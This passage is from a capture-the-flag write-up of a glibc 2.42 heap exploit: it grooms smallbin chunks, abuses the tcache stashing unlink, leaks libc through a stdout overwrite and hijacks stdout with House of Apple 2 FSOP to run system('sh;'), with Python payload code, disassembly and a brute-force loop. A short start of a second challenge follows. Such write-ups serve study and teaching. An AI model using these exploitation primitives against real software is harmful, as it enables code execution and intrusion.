return __libc_malloc2 (bytes);Note the asymmetry that is going to bite later on: free consults num_slots, malloc consults entires . count + num_slots == 7 is an invariant maintained by put/get, so entries == NULL implies num_slots == 7 . Remember that
tcache_double_free_verifysection 🙏
for (size_t tc_idx = 0; tc_idx < TCACHE_MAX_BINS; ++tc_idx)
for (tmp = tcache->entries[tc_idx]; tmp; tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count) malloc_printerr ("free(): too many chunks detected in tcache");
if (misaligned_mem (tmp)) malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2");
}
e->key = 0;
__libc_free (e);So a key collision costs a full scan of all 76 bins, and if the chunk isnt found int clears the key and retries the free — which just lands in tcache_put again. No free lunch there.
Unsorted-bin checks
Straight out of the disassembly of _int_malloc ( b2e4c — b2eb4 ):
b2e4c: mov rax,QWORD PTR [rdx+0x8] ; size = chunksize(victim)
b2e54: cmp rax,0x10
b2e58: jbe b3390 ; "malloc(): invalid size (unsorted)"
b2e5e: mov rsi,QWORD PTR [r11+0x888] ; av->system_mem
b2e65: cmp rsi,rax
b2e68: jb b3390
b2e6e: lea rbx,[rdx+rax*1] ; next = victim + size
b2e72: mov rcx,QWORD PTR [rbx+0x8]
b2e76: cmp rcx,0xf
b2e7a: jbe b33e8 ; "malloc(): invalid next size (unsorted)"
b2e89: mov rsi,QWORD PTR [rbx]
b2e90: cmp rsi,rax
b2e93: jne b3568 ; "mismatching next->prev_size (unsorted)"
b2e99: mov rsi,QWORD PTR [rdx+0x18] ; bck = victim->bk
b2e9d: cmp rdx,QWORD PTR [rsi+0x10]
b2ea1: jne b3450 ; bck->fd != victim -> abort
b2ea7: cmp QWORD PTR [rdx+0x10],r9
b2eab: jne b3450 ; victim->fd != unsorted_chunks(av) -> abort
b2eb1: test cl,0x1
b2eb4: jne b3630 ; "invalid next->prev_inuse (unsorted)"Both link-integrity checks are present. The classic unsorted-bin attack is dead, as expected.
Dead ends, in the order I hit them
Writing these down because the shape of the final solution only makes sense against them
- Tcache poisoning — The obvious first move:
freea chunk,editit, write a fakefd. Butfdis mangled withchunk_mem >> 12, and we only know 4 bits of the heap. A full 8-byte overwrite needs the whole key. A 1-byte overwrite needs 4 more bits (1/16) and only relocates the allocation within 0x100 bytes. A 2-byte overwrite needs 12 more bits (1/4096). Even if the 1-byte version lands, the nearest interesting target — thetcache_perthread_structatheap_base+0x10— is0x290bytes away from the first user chunk, i.e. outside a 1-byte window, and chaining two 1-byte hops doesn’t work because the second hop needs a source pointer already inside the low 0x100 of the page. DEAD - Fastbins — Same mangling, same problem. Also the 2.42 fastbin → tcache transfer loop re-validates
chunksizeper entry. - Unsorted Bin Attack — Dead since 2.29 and the earlier “Unsorted Bin Checks” confirms it in 2.42
- Largebin Attack — Alive-ish but it writes a heap pointer to an arbitrary address. We don’t know heap addresses, and more importantly we don’t know an arbitrary libc address to target. Wrong shape.
- “Just leak with the unsorted bin” — When a chunk is split out of the unsorted bin, the returned buffer’s first 16 ytes still hold the old
fd/bk— twomain_Arenapointers. This is the standard leak… if yo have ashow(). We don’t. And freeing that chunk into the tcache immediately overwrites both words withnext/key. - Hooks. —
__malloc_hook/__free_hookwere removed in 2.34. The symbols still exist in the symbol table (0x23b1c0,0x23b1c8) but they’re inert. - Exit handlers —
__exit_funcsis pointer-mangled with the TLS guard, needs a leak and the guard, andvuln()is an infinite loop that never callsexit()anyway.
At this point the shape of the answer is forced: the only unmangled attacker-reachable pointers in this whole system are the fd / bk fields of chunks in the unsorted/small/large bins. Those are raw. If we can get edit() onto one of them, we get a 2-byte partial overwrite of a genuine libc pointer, and the only entropy in the way is libc’s nibble.
The turning point — smallbin bk is a raw libc pointer ☠️
Concretely. Suppose the smallbin for some size has cunks in it. The list is circular through main_arena :
bin_at(av,i) <-> newest <-> ... <-> oldest <-> bin_at(av,i)Insertion happens at the fd end, so:
bin->bk= oldestoldest->bk= second-oldest … and so onnewest->bk=bin_at(av,i)— a pointer straight intomain_arena
bin_at(av,i) = av + 0x60 + (-i1)*0x10 , so given a guess g for libc’s bits 12–15 and knowing every symbol offset, we can compute what that pointer’s low 16 bits are. Overwrite just those two bytes via edit() and the bk now points at any address we like in the same 64 KB window as main_arena — which includes the whole _IO_2_1 cluster.
That’s the primitive. Now: what does malloc do with a corrupted smallbin bk?
Tcache stack unlink attack in 2.42 — verification
The relevant code is the smallbin fast path in _int_malloc:
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted"); /* [A] */
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
...
size_t tc_idx = csize2tidx (nb);
if (tcache != NULL && tc_idx < mp_.tcache_small_bins)
{
mchunkptr tc_victim;
while (tcache->num_slots[tc_idx] != 0
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != NULL)
{
bck = tc_victim->bk; /* [B] NOT validated */
set_inuse_bit_at_offset (tc_victim, nb);
bin->bk = bck;
bck->fd = bin; /* [C] arbitrary-ish write */
tcache_put (tc_victim, tc_idx); /* [D] arbitrary tcache entry */
}
}
}
return chunk2mem (victim);
}
}Check [A] only guards the first unlink. The stashing loop at [B] follows tc_victim->bk with no bck->fd == tc_victim check at all, and [D] shoves whatever it finds into the tcache. This is the classic “tcache stashing unlink attack” and it is fully intact in 2.42
I confirmed it in the actual shipped binary rather than trusting the source, because those are not always the same build. The loop, disassembled:
b3093: mov rcx,QWORD PTR [rax+0x18] ; bck = victim->bk
b3097: cmp QWORD PTR [rcx+0x10],rax
b309b: jne b3770 ; [A] "smallbin double linked list corrupted"
b30a8: or QWORD PTR [rax+r10*1+0x8],0x1
b30ae: mov QWORD PTR [rdx+0x8],rcx ; bin->bk = bck
b30b2: mov QWORD PTR [rcx+0x10],rsi ; bck->fd = bin
b30ed: movzx r9d,WORD PTR [rdi+r8*2] ; r9 = num_slots[tc_idx]
b30f2: test r9w,r9w
b30f6: je b3170 ; no slots -> skip stashing
b30f8: cmp rsi,rcx
b30fb: je b3170 ; bin empty -> skip
--- loop top ---
b3110: mov rbx,rcx ; tc_victim = bck
b3113: mov rcx,QWORD PTR [rbx+0x18] ; [B] bck = tc_victim->bk (unchecked!)
b3117: or QWORD PTR [rbx+r10*1+0x8],0x1 ; set_inuse_bit_at_offset(tc_victim, nb)
b3127: lea r14,[rbx+0x10]
b312b: sub r9d,0x1 ; --num_slots
b312f: mov QWORD PTR [rdx+0x8],rcx ; bin->bk = bck
b3136: mov QWORD PTR [rcx+0x10],rsi ; [C] bck->fd = bin
b313e: xor rax,QWORD PTR [rdi+r12*8+0x8] ; mangle against current head
b3143: mov QWORD PTR [rbx+0x18],r15 ; tc_victim->key = tcache_key
b3147: mov QWORD PTR [rbx+0x10],rax ; tc_victim->next = mangled
b314b: mov QWORD PTR [rdi+r12*8+0x8],r14 ; [D] entries[tc_idx] = chunk2mem(tc_victim)
b3150: mov WORD PTR [rdi+r8*2],r9w
b3155: test r9w,r9w
b3159: je b3160 ; exit when num_slots hits 0
b315b: cmp rsi,rcx
b315e: jne b3110 ; exit when bck == binWe can confirm from this disassembly. Now I can finally read off the exact contract for a fake chunk F that we want to land in the tcache:
| requirement | why |
|---------------------------------------------------------------------|-------------------------------------------------------------------------------|
| `F % 16 == 0` | `misaligned_mem` check in `tcache_get` on `F+0x10` |
| `F+0x10` writable | `[C]` writes `bin` there, then `[D]`'s `tcache_put` writes the mangled `next` |
| `F+0x18` writable | `tcache_put` writes `tcache_key` there |
| `F+nb+8` writable | `set_inuse_bit_at_offset(F, nb)` ORs 1 into it |
| `[F+0x18]`'s **original value** `G` must satisfy: `G+0x10` writable | the `[C]` write of the *next* iteration runs before the loop-exit test |
| the loop must terminate **exactly** on `F` | otherwise it walks off into garbage |That last row is the one that turned into a multi-hour problem.
The counting problem (this is where my time went)
The loop exits on num_slots == 0 or bck == bin . Let’s see what we need.
Say the smallbin holds k real chunks R1..Rk ( R1 = oldest = the victim). Then:
victim = R1,bck = R1->bk = R2, and check[A]validatesR2->fd == R1— soR2must be pristine, meaning we can’t corrupt the second-oldest chunk.- the loop stashes
R2, R3, ..., Rkand then followsRk->bk. Normally that’sbinand the loop stops. So we corruptRk->bk— the newest chunk to point atF. Rk->fdgets clobbered as collateral (we have to write through it to reachbk) but the stashing loop never readsfdof a stashed chunk, and[A]only checkedR2->fd. So that’s free.- stash count =
(k-1)real +1fake =k
For the loop to stop right after F, we need num_slots == k, at entry.
Now the killer. malloc only reaches _int_malloc if entries[tc_idx] == NULL . And count+num_slots == 7 is a put/get invariant. So:
entries[tc_idx] == NULL → count == 0 → num_slots == 7 → k == 7
We need seven chunks in one smallbin, with that size’s tcache bin completely untouched.
Breaking this garbage invariant 🙏
I tried fairly hard to get num_slots < 7 with entries == NULL, because 3 chunks would have been much easier than 7:
- Shorten the tcache chain — If
entries c4 → c1(skippingc2,c3), twotcache_gets empty it whilenum_slotsonly climbs to 5. But rewritingc4->nextto point atc1requires knowing the mangling key. DEAD! - Make
REVEAL_PTR(head->next) == 0— Needsstored == mem>>12. Same wall. tcache_double_free_verify— Clears the key and retries — ends attcache_put. No.- Terminate the loop with
bck == bininstead — This needs[F+0x18 == bin_at(av, idx). Where in libc does the valuebin_at(av, i)appear? Only inbins[2(i-1)]andbins[2(i-1)+1]— and only while binIis empty. But our bin isn’t empty (it’s the whole point). SettingF = bin_at(av,i)for an empty binjgives a self-loop ([F+0x18] == F), which buys exactly one extra iteration beforetcache_putoverwritesF+0x18withtcache_keyand the next iteration writes to[tcache_key+0x10]→ instant segfault. So I mapped the alignment constraints for chains through the bins array (G=0mod16forcesbins[j]withjodd, which always resolves back to the samebin_at) and they are all self-loops. There is no length-5 pointer chain to ride.
So: 7 chunks, no shortcuts. FINE 😭
Why “just free 7 chunks” doesn’t work
The obvious plan — fill the tcache, then free 7 more of the same size so they go to the unsorted bin and get sorted into the smallbin — collapses on the slot budget:
- filling tcache[I] needs 7 chunks of that size;
- pushing 7 more past the tcache needs 7 more;
- we have 7 pointer slots, and malloc of that size will always be served from the tcache while it’s full. You can never allocate 7 fresh ones while the tcache holds 7.
Variations I worked through and discarded:
- Double free via UAF — after filling the tcache with
c1..c7,delete()them a second time — buttcache_double_free_verifyfinds them and aborts. Clearing the key withedit()requires overwritingnexttoo, which corrupts the list we later have to drain. - Fastbin Route — For chunk size ≤ 0x80, the second free lands in the fastbin (no consolidation, inuse bits untouched — so adjacent chunks stay separable). But
malloc_consolidatemerges them all into one chunk when it finally moves them to unsorted, so you need spacers between all seven → 14 chunks → back to the slot budget. And a spacer afterc7(to keep it away from the top chunk) needs an 8th slot at exactly the wrong moment. - Forging headers to skip the tcache —
free()bypasses the tcache whensize >= 0x408, but a chunk with a forged size ≥ 0x410 gets sorted into a largebin , not a smallbin.
Every road goes through “you need 14 hunks and you have 7 slots”. So stop trying to “free” smallbin chunks.
The unlock: smallbin chunks don’t have to come from free() . They can come from splitting.
When malloc carves a request out of a larger free chunk, the remainder goes to the unsorted bin, and the next malloc sorts it into whatever bin its size says. That remainder has never been through free , so:
- it never touched the tcache,
entries[tc_idx]for its size staysNULL,num_slots[tc_idx]stays7.
Exactly the state we need. And the split source is easy; our max request is 0x500 → chunk 0x510, which is above mp_.tcache_max_bytes, so free()ing it goes straight to the unsorted bin.
So one “manufacturing cycle” is:
add(0, 0x500) # P_i : fresh 0x510 chunk off the top
add(1, 0x500) # guard, so freeing P_i doesn't merge into the top chunk
delete(0) # P_i -> unsorted bin (0x510 skips the tcache)
add(2, CARVE) # split P_i: we get the front, remainder R_i lands in unsortedand the next cycle’s first add(0,0x500) is a non-smallbin request, so it trip through the unsorted bin sorts R_{I-1} into the smallbin on the way past. Seven cycles → seven chunks.
That’s four menu ops per chunk, three slots used ( 0 , 1 , 2), and all of them reusable.
Size choosing — binmap-steal trap
My first attempt used a remainder of 0x3e0 (chunk) , carved with a request whose chunk was 0x130 . It looked great on paper and would have been destroyed immediately, because of this:
after the unsorted bin is drained, _int_malloc scans the binmap upward from smallbin_index(nb)+1 looking or the smallest non-empty bin that can serve the request. If our carve request is smaller than the remainder size, the bin(remainder) sits above bin(carve) in the scan order, and the very allocation meant to create R_i will instead grab R_1 out of our smallbin and split it. The whole structure eats itself.
So the constraint is: carve chunk size > remainder chunk size, and every other allocation we make must also be larger than the remainder (or not in smallbin range at all).
With P = 0x510 ::
carve + remainder = 0x510, carve > remainder ⟹ remainder < 0x288Picked:
| name | request | chunk size | notes |
|-------------|------------|------------|-----------------------------------------------------|
| `BIG` | `0x500` | `0x510` | above tcache_max_bytes → unsorted on free |
| `CARVE` | `0x2f0` | `0x300` | `(0x2f0+8+15) & ~15 = 0x300` |
| `REM` | — | `0x210`. | `0x510 - 0x300`; smallbin **33**, tcache idx **31** |
| `ATK` | `0x208` | `0x210` | the malloc that triggers the stash |0x210 >> 4 = 33 → bin_at(av,33) = 0x234ac0 + 0x60 + 32*0x10 = 0x34d20.
csize2tidx(0x210) = (0x210-0x20)/0x10 = 31
The guards are 0x500 too, so they’re never smallbin-range and never steal.
Hm, it works(?0
def groom(t):
for _ in range(7):
t.add(0, BIG)
t.add(1, BIG)
t.dele(0)
t.add(2, CARVE)
t.add(3, BIG) # one more non-smallbin malloc to sort R7 inWalked the smallbin in gdb after groom() :
bin=0x728091634d20
0x55ff7f09b300 size 0x211 fd 0x728091634d20 bk 0x55ff7f09c020
0x55ff7f09c020 size 0x211 fd 0x55ff7f09b300 bk 0x55ff7f09ca40
0x55ff7f09ca40 size 0x211 fd 0x55ff7f09c020 bk 0x55ff7f09d460
0x55ff7f09d460 size 0x211 fd 0x55ff7f09ca40 bk 0x55ff7f09de80
0x55ff7f09de80 size 0x211 fd 0x55ff7f09d460 bk 0x55ff7f09e8a0
0x55ff7f09e8a0 size 0x211 fd 0x55ff7f09de80 bk 0x55ff7f09f2c0
0x55ff7f09f2c0 size 0x211 fd 0x55ff7f09e8a0 bk 0x728091634d20
count 7 ended at bin TrueSeven chunks. bin_at at main_arena+0x260 exactly as computed. R7->bk is the raw main_arena pointer we’re going to shave. tcache->entries[31]q untouched, num_slots[31] == 7.
The heap layout (full)
Address Memory Space Notes / Pointers
─────────────── ────────────────────────── ────────────────────────────────────────────────
P_i + 0x000 ┌──────────────────────────┐ Original chunk P_i (size 0x510)
│ CARVE chunk │ After delete+carve, size becomes 0x300
│ │ ↳ nikkis[2] = P_i+0x10, sizes[2] = 0x2f0
P_i + 0x300 ├──────────────────────────┤ Chunk R_i (size 0x210) ➔ goes to smallbin 33
│ prev_size │ @ +0x300
│ size = 0x211 │ @ +0x308 (0x210 | PREV_INUSE)
│ fd │ @ +0x310
│ bk │ @ +0x318
P_i + 0x510 ├──────────────────────────┤ Guard chunk g_i (size 0x510)
│ │ Allocated, never freed
P_i + 0xa20 └──────────────────────────┘ Next cycle's P_{i+1}R_i is sandwiched between the CARVE chunk (in use) and g_i (in use), so nothing ever consolidates. g_i's pointer is thrown away every cycle by re-adding over nikkis[1] — the chunk stays allocated, which is all we need from it.
Getting a writable pointer into a freed chunk we still own
Now, how do we edit R7->bk ? R7 is a free chunk in a bin; we never had a pointer to it.
This is where the size/pointer desync pays off. Look at the last cycle:
add(0, 0x500)setnikkis[0] = P7+0x10,sizes[0] = 0x500.delete(0)freedP7but leftnikkis[0]andsizes[0]alone.add(2, 0x2f0)carved the front ofP7, handling the same address back asnikkis[2]withsizes[2] = 0x2f0
So nikkis[0] still points at P7+0x10 with a 0x500 byte write window, while the memory underneath is now a 0x300 chunk followed by our smallbin chunk R7. edit(0) writes straight through the boundary.
Offsets from nikkis[0] = P7+0x10:
| field | address | offset |
|----------------|------------|---------|
| `R7.prev_size` | `P7+0x300` | `0x2f0` |
| `R7.size` | `P7+0x308` | `0x2f8` |
| `R7.fd` | `P7+0x310` | `0x300` |
| `R7.bk` | `P7+0x318` | `0x308` |So the payload is 0x30a ytes — and because read() returns short, those last two bytes land on bk's low half and stop:
low16 = (g * 0x1000 + F_OFF) & 0xffff
t.edit(0, b'A' * 0x2f8 # filler over the CARVE chunk's user data
+ p64(REM | 1) # R7.size must be restored exactly: 0x211
+ p64(0) # R7.fd -- clobbered, never checked
+ p16(low16)) # R7.bk -- low 2 bytes onlyThe p64(REM|1) matters: we’re writing straight through R7’s size field, so it has to come out the other side as 0x211 or the smallbin path won’t recognize it. ( PREV_INUSE is set because split reminders are always created with set_head(remainder, sz | PREV_INUSE) .)
Then:
t.add(4, ATK) # malloc(0x208) -> smallbin path -> stashes R2..R7, then F
t.add(5, ATK) # malloc(0x208) -> tcache_get -> returns F+0x10, inside libcadd(4) returns R1 (the victim) — we don’t care about it. What we care about is that during that call the stashing loop pushed R2,R3,R4,R5,R6,R7 (six) and then F (seventh) into entries[31] , driving num_slots from 7 to 0 exactly on F. F+0x10 is the list head, so add(5) hands it straight back.
nikkis[5] is now a pointer into libc with sizes[5] = 0x208 . We can write 520 bytes anywhere we aimed, as many times as we like.
Picking F, and the 4-bit brute force
The partial overwrite keeps bits 16+ of bin_at(av,33) and replaces bits 0–15. So F must live in the same 64 KB window as main_arena+0x260 , and we must be able to compute its low 16 bits — which needs g, libc’s bits 12–15.
With libc_base ≡ g·0x1000 (mod 0x10000), the reachability test for a target at offset Tis:
(g*0x1000 + T) >> 16 == (g*0x1000 + 0x234d20) >> 16For F = 0x235500 this holds for every g except 11 (at g=11 , 0xb000+0x4d20 = 0xfd20 lands in window 0 while 0xb0000x5500 = 0x10500 lands in window 1). So the candidate set is 15 values, and each fresh connection re-randomises ASLR, giving ~1/16 per attempt regardless of which g we pick. Expected ~16 connections.
Validation is free: if the guess is right the leak arrives and its low 12 bits must be 0x643 (thats _IO_2_1_stdout_ + 0x83 ), the derived base must be page-alined, and base>>12&0f must equal the g we guessed. Three independent checks; a wrong guess essentially never passes.
Crash #1: [F+0x18] has to be a valid pinter too
My first pick was F = _IO_list_all — 0x10 = 0x2354b0 so that malloc would hand back 0x2354c0 and the write window would start at _IO_list_all and run forward through _IO_2_1_stderr_ into _IO_2_1_stdout_. Clean, right?
libc base 0x7cece3a00000 g 0
low16 0x54b0 resulting F 0x7cece3c354b0
edited
stashed ok
... EOFError, SIGSEGVThe stash itself “worked” — the crash is after. Re-reading the disassembly line-by-line.. :
b3110: mov rbx,rcx ; rbx = F (7th iteration)
b3113: mov rcx,QWORD PTR [rbx+0x18] ; rcx = *(F+0x18) <-- READ FIRST
...
b3136: mov QWORD PTR [rcx+0x10],rsi ; *(rcx+0x10) = bin <-- THEN WRITE
...
b3155: test r9w,r9w
b3159: je b3160 ; only NOW do we exitThe bck->fd = bin store for the next chunk happens before the num_slots == 0 exit test. So even on the final iteration, whatever sits at F+0x18 is dereferenced-and-written. 0x2354c8 is padding between _IO_list_all and _IO_2_1_stderr_ — it’s zero — so the loop did (0x0+0x10) = bin. Segfault 🎉
New constraint: (F+0x18)must already contain a pointer to writable memory.
Where’s a nice one near stdout? _IO_2_1_stderr_._IO_buf_base. main() calls setvbuf(stderr, NULL, _IONBF, 0) , which sets _IO_buf_base = &stderr->_shortbuf = _IO_2_1_stderr_ + 0x83. That field lives at _IO_2_!_stderr_ + 0x38 = 0x235518.
So set F = 0x235500 (= _IO_2_1_stderr_ + 0x20, and 0x500 % 16 == 0✓). Then:
F+0x10 = 0x235510→ whatmallocreturns. Write window0x235510 .. 0x235718._IO_2_1_stdout_sits at+0xb0inside it.F+0x18 = 0x235518→ holds0x235563, well inside libc’s writable data. The stray*(G+0x10) = binwrite lands at0x235573, inside_IO_2_1_stderr_, which we do not care about.F + nb + 8 = 0x235500 + 0x218 = 0x235718→__gconv_max_path_elem_len. ORing 1 into it is
harmless unless something callsiconv.
Re-ran and gdb confirmed the corrupted bin pointer went exactly where predicted:
$1 = (mchunkptr) 0x642a9b8962c0 # bin->fd, still a heap chunk
$2 = (mchunkptr) 0x75b75b035563 <_IO_2_1_stderr_+131> # bin->bk == G. stash completed.Now, let’s turn a one libc write into a libc leak!
We can now write 520 bytes starting at libc+0x235510 , but we still don’t know the libc base, so we can’t write any absolute pointer. Classic chicken-and-egg. The way out is the stdout partial-overwrite leak.
_IO_2_1_stdout_ starts at 0xb0 in our window. Its fields:
0x00 _flags 0x20 _IO_write_base 0x38 _IO_buf_base 0x70 _fileno
0x08 _IO_read_ptr 0x28 _IO_write_ptr 0x40 _IO_buf_end 0x83 _shortbuf
0x10 _IO_read_end 0x30 _IO_write_end 0x88 _lock 0xd8 vtable
0x18 _IO_read_base 0xa0 _wide_dataBecause setvbuf(stdout, NULL, _IONBF, 0) ran, _IO_write_base == _IO_write_ptr == _IO_write_end == _IO_buf_base == &stdout->_shortbuf == stdout+0x83.
Idea: write exactly up to and including the low two bytes of _IO_write_baseand stop. Everything before it (_flags and the three read pointers) gets fully overwritten — fine, we choose those. _IO_write_base’s upper six bytes survive, so it stays a valid libc pointer, just relocated downward within its 64 KB window. _IO_write_ptr is untouched at stdout+0x83. Result: write_base < write_ptr, so the next flush dumps everything in between to fd 1.
Aim write_base at stdout+0x38 , i.e. _IO_buf_base — which holds stdout+0x83. The dump is 0x4b bytes and its first 8 bytes are a libc pointer.
Payload (total 0xd2 bytes — 0xb0 of filler to reach stdout, then 34 more):
def leak_payload(g):
wb_low = (g * 0x1000 + IO_STDOUT + 0x38) & 0xffff
p = b'\x00' * (IO_STDOUT - CHUNK_OFF) # 0xb0 bytes: _IO_2_1_stderr_ tail, don't care
p += p32(0xfbad1800) + p32(0) # _flags
p += p64(0) * 3 # read_ptr / read_end / read_base
p += p16(wb_low) # low 2 bytes of _IO_write_base
return pWhy
0xfbad1800specifically?
0xfbad0000— the_IO_MAGICbits, keeps it looking like a real FILE.0x800 _IO_CURRENTLY_PUTTING— so_IO_new_file_overflowtakes the “already putting” branch instead of re-initialising the buffer and wiping ourwrite_base.0x1000_IO_IS_APPENDING— this one is easy to miss.new_do_writedoes the code below. Without the appending bit it compares_IO_read_endagainst_IO_write_baseand seeks if they differ. We can’t make them equal —write_base’s high bytes are unknown to us — and a seek on a socket fails. Setting_IO_IS_APPENDINGskips the whole branch.
if (fp->_flags & _IO_IS_APPENDING) /* nothing */;
else if (fp->_IO_read_end != fp->_IO_write_base) { ...lseek... }
count = _IO_SYSWRITE (fp, data, to_do);_IO_NO_WRITES (0x8)must be clear.0x…1800 & 8 == 0. ✓
First run of the full chain:
[*] true libc base 0x700b3c800000 g=0
[*] leak 4356a33c0b7000004456a33c0b700000
[+] libc base = 0x700b3c800000Decoding those 16 hex bytes little-endian gives two words: 0x700b3ca35643 and 0x700b3ca35644 — stdout+0x83 and stdout+0x84, i.e. _IO_buf_base and _IO_buf_end, exactly as designed. 0x700b3ca35643–0x235643 = 0x700b3c800000, which matches the real base read out of /proc/<pid>/maps. Leak finally works.
Crash #2: glibc 2.42 printf doesn’t work the way you usually remember
Program received signal SIGSEGV
#0 __memcpy_evex_unaligned_erms ()
#1 __GI_memcpy (__dest=<optimized out>, __src=<optimized out>, __len=31)
#2 __printf_buffer_write (buf=0x7ffc020ea1a0, s=0x57d0b9bd5028 "[1] add\n[2] delete\n[3] edit\n>> ", count=31)
at ./stdio-common/Xprintf_buffer_write.c:39
#3 __printf_buffer (...) at ./stdio-common/vfprintf-internal.c:652
#4 __vfprintf_internal (s=0x7a3e646355c0 <_IO_2_1_stdout_>, ...) at ./stdio-common/vfprintf-internal.c:1543
rdi 0x0rdi == 0 — memcpy to NULL. And the backtrace has __printf_buffer, not _IO_new_file_xsputn.
Um WHAT?? 💀 Why though?
Modern glibc (2.37+) rewrote printf around a struct __printf_buffer. From stdio-common/printf_buffer_to_file.c:
void
__printf_buffer_to_file_switch (struct __printf_buffer_to_file *buf)
{
if (buf->fp->_IO_write_ptr < buf->fp->_IO_write_end)
{
/* write directly into the FILE's buffer */
buf->base.write_ptr = buf->fp->_IO_write_ptr;
buf->base.write_end = buf->fp->_IO_write_end;
}
else
{
/* use the on-stack staging area */
buf->base.write_ptr = buf->stage;
buf->base.write_end = array_end (buf->stage);
}
buf->base.write_base = buf->base.write_ptr;
}and the flush:
if (buf->base.write_end == array_end (buf->stage))
{
size_t count = buf->base.write_ptr - buf->stage;
if ((size_t) _IO_sputn (buf->fp, buf->stage, count) != count) /* <-- _IO_XSPUTN */
...
}So printf only calls the vtable’s __xsputn if _IO_write_ptr >= _IO_write_end . My payload had left write_ptr = 0 and write_end = V (a lib pointer, because I’d carelessly overlapped the fake _IO_wide_data's _wide_vtable slot onto stdout+0x30). 0 < V, so printf happily decided stdout had a buffer at address 0 and mepcpy’d into it.
Two fixes, both needed:
- Move the fake
_IO_wide_dataso its+0xe0(_wide_vtable) doesn’t land onstdout+0x30. I moved it fromC+0x00toC+0x20, which puts_wide_vtableatC+0x100 = stdout+0x50(_IO_backup_base— nobody cares). - Explicitly set
_IO_write_ptr = _IO_write_end = 0.0 < 0is false → staging area →_IO_sputn→ our vtable.
This is a genuinely modern-glibc-specific gotcha and it’s worth remembering: on 2.37+, an FSOP that relies on printf reaching _IO_OVERFLOW needs _IO_write_ptr >= _IO_write_end.
HOUSE OF APPLE 2 FSOP
Now the actual hijack. We replace stdout’s vtable with _IO_wfile_jumps (which lives in the __libc_IO_vtables section, so IO_validate_vtable is happy) and drive:
printf
→ __vfprintf_internal
→ __printf_buffer_to_file_switch : write_ptr >= write_end → staging area
→ flush → _IO_sputn(fp,…) = _IO_XSPUTN = _IO_wfile_xsputn
count = wd->_IO_write_end - wd->_IO_write_ptr = 0
→ _IO_OVERFLOW (f, WEOF) = _IO_wfile_overflow
flags & _IO_NO_WRITES == 0 ✓
(flags & _IO_CURRENTLY_PUTTING) == 0 ✓
→ wd->_IO_buf_base == NULL ✓
→ _IO_wdoallocbuf(f)
wd->_IO_buf_base still NULL ✓
!(flags & _IO_UNBUFFERED) ✓
→ _IO_WDOALLOCATE(f)
= f->_wide_data->_wide_vtable->__doallocate (f)
= V[0x68](rdi = &_IO_2_1_stdout_)
= system(" sh;")__doallocat is at offset 0x68 in struct _IO_jump_, and _wide_vtable is at offset 0xe0 in struct _IO_wide_data. The wide vtable is not subject toIO_validate_vtable — only the main one is — so V can be anything.
The _flags trick
system() gets rdi = fp = &_OI_2_1_stdout_ , so the command string is read from the first bytes of the FILE. _flags is an int (4 bytes) followed by 4 bytes of padding, so we have 8 bytes to play with but the first 4 are also the flags and they have to pass the checks above ^^
/bin/shfails because/is0x2fand0x2f & 8 = 8→_IO_NO_WRITESset →_IO_wfile_overflowwould just bail the hell outshwould fail differently because its0x73and0x73 & 2 = 2→_IO_UNBUFFEREDset →_IO_wdoallocbufwhich skips the_IO_WDOALLOCATEcall entirely
four spaces would work perfectly though. _flags = 0x20202020:
| bit | flag | value | needed |
|---------|-------------------------|-------|-----------------------------------------------------|
| `0x2` | `_IO_UNBUFFERED` | 0 | must be 0 (else `_IO_wdoallocbuf` skips the call) |
| `0x8` | `_IO_NO_WRITES` | 0 | must be 0 (else `_IO_wfile_overflow` returns early) |
| `0x800` | `_IO_CURRENTLY_PUTTING` | 0 | must be 0 (or `wd->_IO_write_base == NULL`) |
| `0x200` | `_IO_LINE_BUF` | 0 | keeps `_IO_wfile_xsputn` on the simple path |So the payload begins b’ sh;\x00' → _flags = 0x20202020, padding = ”sh;\0" andsystem() receives the string sh;. The shell ignores leading whitespace anyways
The rest of FILE
C+0x000 (start of write window)
C+0x010 V = fake wide vtable → V+0x68 = C+0x078 = system
C+0x020 W = fake _IO_wide_data → W+0x18 = C+0x038 = 0 (_IO_write_base)
W+0x30 = C+0x050 = 0 (_IO_buf_base)
W+0xe0 = C+0x100 = V (_wide_vtable)
C+0x090 16 zero bytes → used as stdout->_lock
C+0x0b0 = _IO_2_1_stdout_
+0x000 _flags = " " ; +4 = "sh;\0"
+0x028 _IO_write_ptr = 0 \ force the staging-area path
+0x030 _IO_write_end = 0 /
+0x070 _fileno = 1
+0x088 _lock = C+0x90
+0x0a0 _wide_data = W
+0x0c0 _mode = 0 (so ORIENT / _IO_fwide takes the narrow path)
+0x0d8 vtable = _IO_wfile_jumps
C+0x190 (end of write; stops just before the stderr/stdout/stdin globals at 0x2356a0)Everything is placed inside the single 0x190 byte write with C = libc + 0x235510 ^^
Don’t forget that we need to brute force ASLR (1/16 chance)
cands = [g for g in range(16) if g != 11]
for rnd in range(40):
for g in cands:
if attempt(g): return$ python3 exploit.py
[*] round 1 g=14
[*] round 1 g=15
[*] round 2 g=0
[*] round 2 g=1
COMPFEST18{さぁ_E1n5_zW31_Dr3i_重なり合う_fdf0b744ee277fcc}In conclusion,
bug: delete() never clears nikkis[idx] → UAF / edit-after-free
chain:
- grooming 7 chunks of size 0x210 pushed into smallbin[33] by split 0x510 chunks (they don’t pass tcache so tcache entires stay NULL and num_slots[31] stay 7)
- edit() the still owned 0x500 pointer that overlaps the newest smallbin chunk and partially (2byte) overwrite its ->bk which holds raw libc pointer -> fake chunk F inside libc
- malloc takes smallbin victim and the tcache-stashing loop copies R2..R7 + F into tcache and num_slot hit 0 on F then next malloc returns pointer inside libc
- partial orw of _IO_2_1_stdout_ → _IO_write_base → libc leak
- HoA2 on stdout → system(“sh;”) with 4 spaces
The Matrix
wake up neo
guess what, this pwn challenge only gave us a hostname and a port and literal movie reference from the matrix, how cool
p.s. the shell is quiet, try ‘ls’ to check if it actually works
this probably means that the end state is a shell, not those “flag” win function
ok so it seems like it’s a banner with leaked pointer “residual self image” and 3 option, wth
after testing for hidden options:
b'0' -> there is no spoon.
b'3' -> ...welcome to the real world. (clean exit)
